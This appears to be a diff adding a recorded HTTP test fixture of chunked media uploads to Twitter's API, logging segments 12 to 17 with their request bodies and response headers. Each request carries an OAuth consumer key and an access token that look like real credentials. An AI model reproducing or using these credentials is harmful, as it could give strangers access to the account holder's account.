pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:32:00 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:32:00 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_OlVOT3PpnsDXW8+jRQnJcA==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:00 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786112011814142; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:00 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "a5803d45371bc562d610913ce19e1c0a", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19941", + "x-rate-limit-reset": "1587864356", + "x-response-time": "35", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "00b2df0d0046bd40", + "x-tsa-request-body-time": "103", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"quxPlqWvHj7qmOL4DRwvu6AuXFM%3D\"", + "Expect": null + }, + "body": "command=APPEND&media_data=TBQRhYsBYNCgTEgLBgLBQiiYJhQJDEhO%2BN5uZeccvPrqoqYuCqXJlyuhyX%2FYnHXesf8dG2r2p5a%2B27v4s4PZ1ctHGqJ6E7L38WYMuiR8XNbBJrAdVWrU0lpdo30fAQgGT3YtOMMYU%2B68%2FiqVwvZ0au80YsziUONFAispeGlbfh%2BltXsMW7TxTz8b%2F6%2B%2BEFT4cEdTN13a9XmViDVPqM9fJdsdtHHfpvHwqWV79RoQvRWkhB%2BhL%2FUPokvjzRT06H%2BKXNyvSlIV0LSg1osrGkdyDHT8qxPwvSmfpn6iVpL13U0fKYOAARwUkGYUGwXCwoCwYDIWDAWQgVCgWCoUEYVCJ3eszJvftnfHi9ZcUvJYmZdolTga1%2FGfsf4n%2B%2F6t8iv4vF7uVGqe40uL%2BMR5CF%2BT5WP4aMMFDw%2BkzvqZvDiyfFn5mmZ81lkQDs%2FKTAN7yTe%2F5esKg2XSYShJIAV7fhPNMRAh275KPd%2FoRbz%2BhdYOjHcK%2FytGJvAhChgKCC7lO7itR3zN3NeXv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b%2B9YOAy4vL%2Fd67wzaXVHHTP%2B0i%2FwqSH3S1IESYkaopB4DtOsNL8ei%2FYaoG1fWEOldOC%2B3ULUA40Lr5vVofqDZ%2F3BJHwVcU7gRy9%2BvcheVjS%2BCcjhpKS5eb29nuFT1goPWff8eB48HcoHd416J%2FW6ghuQP7S83OflJe8n7DFN2EYJKWbzih0h0xlIfBPao7DJMKV1DctB%2BG5fn7qxdQUo9XSq72QZk%2Bf8b2Rl2BbAxACGUZGy5yVkPJ%2Fi1FYVIaBY7yl%2ByLOl2DwJb4ArYoY1tjDp65OUcOXyBNlYRNCgg3%2Fh4JW7SAXnKjECB66TBgatAdj956oJQUA6fzGszKKGXIy29p13bKAoMFt0orDEK5DNfrz%2BhhHNJHsaL%2B2djpZ5B5UUjJDF81WW7HwVEsOT3K7VkH2DQYAhlJMPvk7jpGRAXGK1B4JTtiMN1fc5xIYoxNBySqfgMuVq8oevoEMEST4TVpgjG4cy7cd3wndyUk2%2F5DbpJ%2BkNvvCRxYW0ZjNfhI7kUstMON0rEBfJ6%2FpBn7IZH1Qalw9Aggt%2FbgHXl8mtMEHBrn8sWEuOD4MaX1lmUxrSaGpuv0ELCTq2%2BiYLsN%2Bk%2Fa%2FC5cVu6sgk2zM5FbrS%2F%2B%2FwX7vk%3D&media_id=1254206535166763008&segment_index=12" + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:32:00 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:32:00 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_gurFzRo3I98bH5Cajp\/tXA==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:00 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786112063432381; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:00 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "80a14c7b56c780c8df4b9b9f7ee42b45", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19940", + "x-rate-limit-reset": "1587864356", + "x-response-time": "32", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "00f5c4d300757685", + "x-tsa-request-body-time": "94", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HM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qEu7w4nm0PeMh2xu9sbKPBfO5XrI7NOXgiIOgP75%2FbCrXxPqG%2Bf%2FRaQ%2FX0cyZaE4mX7dtdgo7ve8Xn%2BScrtqSnye7X4JOel%2Ff7DRgY4PIR1bKvJEnC2rb4J6TnFUNv96WGsRm0Wv%2FnFBw9%2FF2Bxmqbst7dD8LoOA7tITyoRw7g%3D&media_id=1254206535166763008&segment_index=13" + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:32:01 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:32:01 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_Y+BRyulOrte\/ZJqLMDHlcA==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:01 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786112115560834; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:01 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "0a0021663ac5c2251e136bf2d5052f63", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19939", + "x-rate-limit-reset": "1587864356", + "x-response-time": "36", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "00dfae45007fa59a", + "x-tsa-request-body-time": "104", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"kOcvIIn%2BXFL2O7DNBFmfoPjiSXc%3D\"", + "Expect": null + }, + "body": "command=APPEND&media_data=gL%2BJLi7Kd5P7lLaBJg7qcpKvgllWOHNhI0vZ8t%2B4Z8IyVnu3Qiw%2F56tO2lAxF%2B96ah670Qjok%2FLr5QmTgH1SS45O30HCVfbJgnpMSvOH7b2SBhIcZ0PqRPqXFmw2pDKMGuWSeWq%2B98bwbY10MZB4DDD7TFCczIS3yfmhBsAhBQTnNbYhd3zZIxJotF85MvfePU4Bptrr%2Bt0PCIrwJzT1h7EvqKubjEOSvrHD5XAdbW9BSnrAimr%2BDTroM4WB%2FgmnIeVMYxUqAUS0xb4nVCY0%2F%2BDlYY1pzDS%2FQ00FKyvTUPrL8k31Jzb%2F6GcIc9HRtP4osHaoZLMDI5XdaWHy88kMIGQzMyyps%2BlI%2FpthxhWIaKUPGDb7KV7U1y8vl85N7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vaV6VMjSCfM4zL9fMCWPt68uGA4Dtriv6qlL7%2F9otSNwKYY1gPECRAjiyKuov3gFeA9gN4GZCVVbwF6EgEyCXNiyIzeT3SMsf6bvFZcstxuXSAasCdh2L4PeA88aPcIR3Im4oGpH4OvB14usCQdU8%2FDjj%2F4VKOgAHgUEwDWeDvGuBVzZdfxlAd%2F%2Bcpb%2FoXWT7%2F%2FzEfC6MFd95PP%2BgXF6b0jdr062OjhxaMFQmah%2FJe0exnU39N1ZINXT35I7YVlntK2l9v4KYZiwS4YcAdq2RX6OBA4yWH%2BGwrUnG2SlrWthXlbZA7XEo8nOGOoN8tqX%2F7RXqQz5peJWvpa%2FXK70f4EMgsQqquq3kIBXPrBnFRBF3d3euGYgKbisVisViu8Vuov06%2BCuHFbzQBL8yEmB%2FmeA4fv2q7KUi6Cg0%2Fjy2Mpj8dOEFva8jy%2F%2FYvQOH3Jvf8FYm98nvpkL8ERnffJ%2BV7hem4P%2BcDgL%2Bg4AcoywGduPIa92%2F2EjbuK4rf4oqs%2Fy%2F5Oan692LLcuXnx%2B%2FEm7tbMRy0tfE%2BWh89S3%2Bi9iurWvifbXr5e%2Fg68DYFCYlzr3ZtVvAQA%3D&media_id=1254206535166763008&segment_index=14" + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:32:01 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:32:01 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_cXKictub\/RibUPq7rcfRCA==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:01 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786112166875292; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:01 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "82f6b441261c0d2d4bdd3c7eb93337e6", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19938", + "x-rate-limit-reset": "1587864356", + "x-response-time": "33", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "0094c20b0055b7f5", + "x-tsa-request-body-time": "96", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"fvbzIXFf4LjACiFxQjNff3sJN1c%3D\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l1NVhdwh8Tkcw%2FxcTTkeOcjAccT%2BTE7YfTqn%2F8wYcBwAEYmf4VGLRgoVLmlqqp50J2QukKWDxE3SSBAIE5EmmhPI1mNky6c3DUVaR7BzJWUnY2%2B7QlNRRKQ07s%2FMkE0pPvXqF6Pe4Vxkb%2B9TgnNZhVYVKESdp%2B9qeFtJVJnCZ6JVs%3D&media_id=1254206535166763008&segment_index=15" + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:32:02 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:32:02 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_AaeYvkDvwlvvfZfANjUU8g==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:02 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786112215129411; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:02 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "86971508e6bd5be60bdcbbecbad56a77", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19937", + "x-rate-limit-reset": "1587864356", + "x-response-time": "41", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "00f065e400d01c78", + "x-tsa-request-body-time": "64", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"R81NXsBIQwxbgDXkA80UsxmAz4I%3D\"", + "Expect": null + }, + "body": "command=APPEND&media_data=mr8wMBUNwSGS4uS%2B5%2BGDlQMyc8LE3WNG0Vkgmq8qORFcA61nbecIL1Sx4I01XlFSYhd6ReYbUQNIhJlKcFGFsE2hm%2BCx98QLLDgJJkbjlWnlpK1LCTQpo9bGLQAYpgp0C5DFFMKiCnZR507x%2BOz8AQCsP5by61ZqF416A2DvHihcOKp4C3DUILkH3UjOE53WdX7u%2F45rKj61c9cpZW1cqCXO0rB7QGIA5OQMXIJxYMToF5gG6kHAASLUkCYWCgVCgWPAWMgYCyICwnCQVCIiCIhc53ioqpMvNVEqrzLrLcXUq9DXX6XcfHnX%2BnXpv0VeHilPm1vjXqmv%2BfbKy3Y6X79mrnt26o7%2Ff3nm3Ukbb5%2Fbn8ymOfZPRrr77%2BqpwNgg0D4Hq8FoXYFMUoc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UvOr%2Frkvcl9okuiZbWqHLi%2FWtvhcxsZAdVSx0mS2Dm9v%2BTK8sKda47vn%2BsU4k8sMUMsDFDBZjAVxphsLDhuu2qFeYaNyPywxQxQxQywxQxQxQxB2IGMONpUpPheksS%2FlgsgEzXabXfxJwTwsMsMScBqvFhlhjShJqT9JBKLA2DAIYkKGxVPwj9InHx4mOtE141oAsvgWZoIYVY3EOCpP4mfVplEmQ4iwsTx92qUBtGzZHV1%2F8aWOLL%2BdAaRIBGo3URoFmS65da310LlX3NuEABHWwIABGU2nFdlS1mdrqzl%2F520jZ7X460cNQ9RrG1S%2BjNySgdUqRyVmAmvB4EFECSII6pEe92sr9aqifjVecQtXJdv8VVrWq3yQscUEiVgpoaYPBbtg4g94QWB%2BgMMx6WVVL8ugy5fhJS4HygZmWoUVl0KFc0Jyt9dBzTA7rXF%2BmWH3TCDbggdOGWnMgAZss9gOSxM4Vnm9hNXUTVVXCCHCarRszwC%2B3B7IoOhQNQ35ouYaezS02jVLwIpgTGKQvIAjbmK3GtdiaI%2BT7nAbC8K7M%2B04THDCKkwA%2F43kXCr5P76o40So1mrG2Ulcxns9h%2BiP6LVrl9LUtS4dr0z%2BJov%2FG69XEfESDuZqzbxMUMPqRLhGcYTOIfVPrEggOcc%3D&media_id=1254206535166763008&segment_index=16" + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:32:02 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:32:02 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_DEEMVQS\/UKN7dMPLBztYOg==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:02 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786112263731147; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:02 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "271299047b9f313afd5f048c7cdf815a", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19936", + "x-rate-limit-reset": "1587864356", + "x-response-time": "36", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "003cd36700cbfb6b", + "x-tsa-request-body-time": "64", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_sign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2BTLJMy1elWb%2BCysQaxB4G7C8DPuTWCEvpAU162Clqu6uuqT9FryFvVak4tXl9al0wSELE0ErbfVggzpCaW2ysgxRlI%2F5bJtEqSEG8fufd4%2FUNGBKGuttJMI%3D&media_id=1254206535166763008&segment_index=17" + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:32:03 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:32:03 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_KsVcWiAHkZiPvRE5yVrImA==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:03 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786112316524788; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:03 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "c0120b835ec0cf3d4dae7d40bffdf65e", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19935", + "x-rate-limit-reset": "1587864356", + "x-response-time": "33", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "00babfba00c09c44", + "x-tsa-request-body-time": "95", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"37DTxBkueNUIQqQX7PWtEiwwkqE%3D\"", + "Expect": null + }, + "body": "command=APPEND&media_data=MaeTBok%2F38KSEFphEBezxZRuDvSr4qjOq%2B3v%2Fs%2Fp8t%2FQIy460eWX%2FyxhuPJgpFHqwSssbQXBqoYjV8te7YJsNAxal6qDRfcjzmUsa%2BXf9ejvdFfEUKWofxRNUqyl5bta%2BJvxROOsswBiZ1%2F6%2BXe6alH8dd4o0r7hVW%2Fh7BrDtSYKJOPDRqOzFtb7C9MVxBxkM9C4cQzKg4AmB36QVEMJFxk37cQ0Q6ZQ6wiF%2Fk9q1x8uMIuIfhyRIQYfJ86XQ70Hw1xd6VuFvXM2%2FT4KLv3vr3WVehbHffxcnomVerzaor%2B6xeB%2BF%2B2Umqy%2BBUgZsI4KMvVvcV05rJ%2FAUAgEhwIRgBCwMQLCZcvcG8YzaJcJgPAJt%2FKP4WAnH4Wu4hxWFEhDn6zjpDyVthBzi042Qf4XxVGQYBvlp%2BThsbtX2Gjh5JR8E9rwTOxVA3UXjW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BlBQfXB9iDi7ioXU2ZiCciOkT4lAw3vloW19OMlV8Sgh4cXistA1LUeaIoDk5q2T20fu7FLXr66re4WOi94WRRDv36gkvEDgrfJ%2BIvahKrMLzN9EgibUfphegscO8RDePf5zshMbd0qg8Ezpfy%2F%2BHqCTrJzVoFW9SmsdYR1se0HdrcbfSQGzZieMn%2FXxaNEl3rBiGKzOt4j%2FG9pzcQ1FUIhr%2BC2s9pWbfvwTEHl1m27JspGTt%2FtGXhAF4imwQfhkp0Ard3HnJVTpv65e0C%2FQhwY%2BQxwnKqZMk05m4Jf22py%2ByLWNIFtUjVpuIQ%2Fp4%2BMJAWHpCOJ0TSqwSOn3AN%2F7lrxNd%2B5cFH9DpmmeWHOEVzsc4uMvyL84VLBVf33spusWGNN4Yaf%2FD0EZu4%2FD6Ziz0SdUO20bL2oopqcms3%2F9w9vxxeg8ONAHab9mcVxCxlB7NBHrDK%2B4Y0XbLi6vJ6s1%2BvVyVjff6yvUEheX98oglVVVr0VErwjRG3j5y6iBEewj0mz41jhHuGdwZFKCWKMUZ45mngrQr4sni93QIhMIXDunsPjbwwMaBp6kZteGV9arGjlOPlIhmSoWMH2mT%2Bvy%2Fr44igcv8cIMAQdhhh2yJ0%2B91DJYA96t4WAfbhu6oefqCvazX%2B9vCxJL305WMsRu5%2F%2BY97%2FFE3bjqZrUz1BNaI4%2B9ZT%2BI%2FOVU0FN%2Fv8JmLzccn577yfC14V415a1h9sC8Gn2q2FX99YWjJEN%2FNKgon3UHrWFzIkGTWoq9wT3SGmRJffE9sv%